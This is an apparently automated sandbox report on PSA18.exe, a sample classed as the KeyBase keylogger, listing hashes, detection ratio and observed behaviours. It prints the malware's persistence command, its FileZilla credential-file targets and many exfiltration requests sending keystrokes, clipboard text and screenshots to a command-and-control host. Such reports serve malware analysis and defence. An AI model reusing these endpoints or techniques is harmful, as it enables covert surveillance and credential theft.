PSA18.exe

Is DLL ✗ | Packer ✓ | Anti Debug ✗ | Anti VM ✗ | Signed ✗ | XOR ✗

MalFamily: Keybase **MalScore: 100**

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
File size:	235.00 KB (240640 bytes)
Compile time:	2018-02-06 23:48:30
MD5:	c7f1dbf1184138cd0a6dcf90f4266e01
SHA1:	44eee0ee6b093116a85928c153609c225dfbe4d1
Import hash:	f34d5f2d4577ed6d9ceec516c1f5a744
Submitted:	2018-02-22 00:03:04

URL(s) file hosting

http://dukhdardhis.com/PSA18.exe

Antivirus Report

Report date	Detection Ratio	Permalink
2018-02-09 18:53:06	37/68	

Import library

mscoree.dll

14 Behaviors detected by system signatures

Created network traffic indicative of malicious activity

- signature: ET TROJAN KeyBase Keylogger HTTP Pattern

- signature: ET TROJAN KeyBase Keylogger Uploading Screenshots
- signature: Traffico Anomalo: Traffico verso host malevolo, GET HTTP Content ".php" (Soc-Rule)

Harvests information related to installed instant messenger clients

- key: HKEY_CURRENT_USER\Software\IMVU\username
- key: HKEY_CURRENT_USER\Software\Paltalk

Harvests credentials from local FTP client softwares

- file: C:\Users\Seven01\AppData\Roaming\FileZilla\sitemanager.xml
- file: C:\Users\Seven01\AppData\Roaming\FileZilla\recentservers.xml

Creates a copy of itself

- copy: C:\Users\Seven01\Desktop\PSAA1.exe

Installs itself for autorun at Windows startup

- key: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\PSA
- data: cmd /c type C:\Users\Seven01\AppData\Local\Temp\PSA.txt | cmd

A process attempted to delay the analysis task by a long amount of time.

- Process: PSAA1.exe tried to sleep 45019 seconds, actually delayed analysis time by 0 seconds

Sniffs keystrokes

- SetWindowsHookExA: Process: PSAA1.exe(2900)

Executed a process and injected code into it, probably while unpacking

- Injection: PSAA1.exe(2620) -> PSAA1.exe(2900)

The binary likely contains encrypted or compressed data.

- section: name: .text, entropy: 7.99, characteristics: IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ, raw_size: 0x00034000, virtual_size: 0x00033fc4

Performs some HTTP requests

- url: http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcesrnreidmshaspnhdmilfriesets%20twreiaar%20togyddohacgotmcotu%20moebofyaohpp%20olr%20tieasdho%20ptletbsoi%20oegdcelfgdocslhseooarai%20fteh%20pi%20ddsh%20ldreim%20oeb%20eo%20trheotyeal%20etuhrihdl%20%20hishewimsdlefd%20utpaneeeiaildeihdih%20%20hien%20ninagrerearoondpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooetpnsruelitiowle%20eehiehlhreiweeeecatetidreealilwiii%20tdoagbstehnrtogoe%20oeanhoclntihhourre%20gimo%20mot%20ogrlawlachbtrahfo%20%20seytcedsdpstta%20rllrn%20c%20olitgu%20hyaiowmnewnelhstwdmliliu%20wdngoityhghuoohrisfi%20pebdroddnnhnahahns%20ytalbhrabalddtngautoaibndntudeldh%20gthdaon%20eoeosusraaeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&machinetime=3.04
- url: http://settings.platinumistabul.com/keybase/image/upload.php
- url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=4.22
- url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=4.43
- url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=5.43
- url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Start&keystrokestyped=&machinetime=7.23
- url:

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=7.23
 - url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=9.04
 - url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=9.04
 - url: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=17.33

HTTP traffic contains suspicious features which may be indicative of malware related traffic

 - post_no_referer: HTTP traffic contains a POST request with no referer header
 - post_no_useragent: HTTP traffic contains a POST request with no user-agent header
 - get_no_useragent: HTTP traffic contains a GET request with no user-agent header
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcesrnreidmshaspnhdmilfriesets%20twreiaar%20togyddohacgotmcotu%20moebofyaohpp%20olr%20tieasdho%20ptletbsoi%20oegdcelfgdocslhseooarai%20fteh%20pi%20ddsh%20ldreim%20oeb%20eo%20trheotyeal%20etuhrihdl%20%20hishewimsdlefd%20utpaneeeiaildeihdih%20%20hien%20ninagrerearoondpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooetpnsruelitiowle%20eehiehlhreiweeeecatetidreealilwiii%20tdoagbstehnrtogoe%20oeanhoclntihhourre%20gimo%20mot%20ogrlawlachbtrahfo%20%20seytcedsdpstta%20rllrn%20c%20olitgu%20hyaiowmnewnelhstwdmliliu%20wdngoityhghuoohrisfi%20pebdroddnnhnahahns%20ytalbhrabalddtngautoaibndntudeldh%20gthdaon%20eoeosusraaeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&machinetime=3.04
 - suspicious_request: http://settings.platinumistabul.com/keybase/image/upload.php
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=4.22
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=4.43
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=5.43
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Start&keystrokestyped=&machinetime=7.23
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=7.23
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=9.04
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=9.04
 - suspicious_request: http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=17.33

Drops a binary and executes it

 - binary: C:\Users\Seven01\Desktop\PSAA1.exe

A process created a hidden window

 - Process: PSA18.exe -> "cmd"
 - Process: PSAA1.exe -> "cmd"

Creates RWX memory

22 HTTP Request(s) detected

http://settings.platinumistabul.com/keybase/post.php?type=clipboard&machinename=SEVEN02-PC&windowtitle=&clipboardtext=nepituorarcesrnreidmshaspnhdmilfriesets%20twreiaar%20togyddohacgotmcotu%20moebofyaohpp%20olr%20tieasdho%20ptletbsoi%20oegdcelfgdocslhseooarai%20fteh%20pi%20ddsh%20ldreim%20oeb%20eo%20trheotyeal%20etuhrihdl%20%20hishewimsdlefd%20utpaneeeiaildeihdih%20%20hien%20ninagrerearoondpdaeepc%20aheomhmgeoacu%20tahnoe%20uhooetpnsruelitiowle%20eehiehlhreiweeeecatetidreealilwiii%20tdoagbstehnrtogoe%20oeanhoclntihhourre%20gimo%20mot%20ogrlawlachbtrahfo%20%20seytcedsdpstta%20rllrn%20c%20olitgu%20hyaiowmnewnelhstwdmliliu%20wdngoityhghuoohrisfi%20pebdroddnnhnahahns%20ytalbhrabalddtngautoaibndntudeldh%20gthdaon%20eoeosusraaeawdg%20dmoyathmt%20%20aehdr%20gresetie%20a&machinetime=3.04

Hostname: settings.platinumistabul.com

IP Address: 5.153.47.227

Port: 80

Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php

Hostname: settings.platinumistabul.com

IP Address: 5.153.47.227

Port: 80

Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php

Hostname: settings.platinumistabul.com

IP Address: 5.153.47.227

Port: 80

Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php

Hostname: settings.platinumistabul.com

IP Address: 5.153.47.227

Port: 80

Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php

Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com

IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/image/upload.php
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=4.22
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=4.43
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVE

N02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=5.43
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Start&keystrokestyped=&machinetime=7.23
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=7.23
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=9.04
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=Program%20Manager&keystrokestyped=&machinetime=9.04
Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1

http://settings.platinumistabul.com/keybase/post.php?type=keystrokes&machinename=SEVEN02-PC&windowtitle=&keystrokestyped=&machinetime=17.33

Hostname: settings.platinumistabul.com
IP Address: 5.153.47.227
Port: 80
Count: 1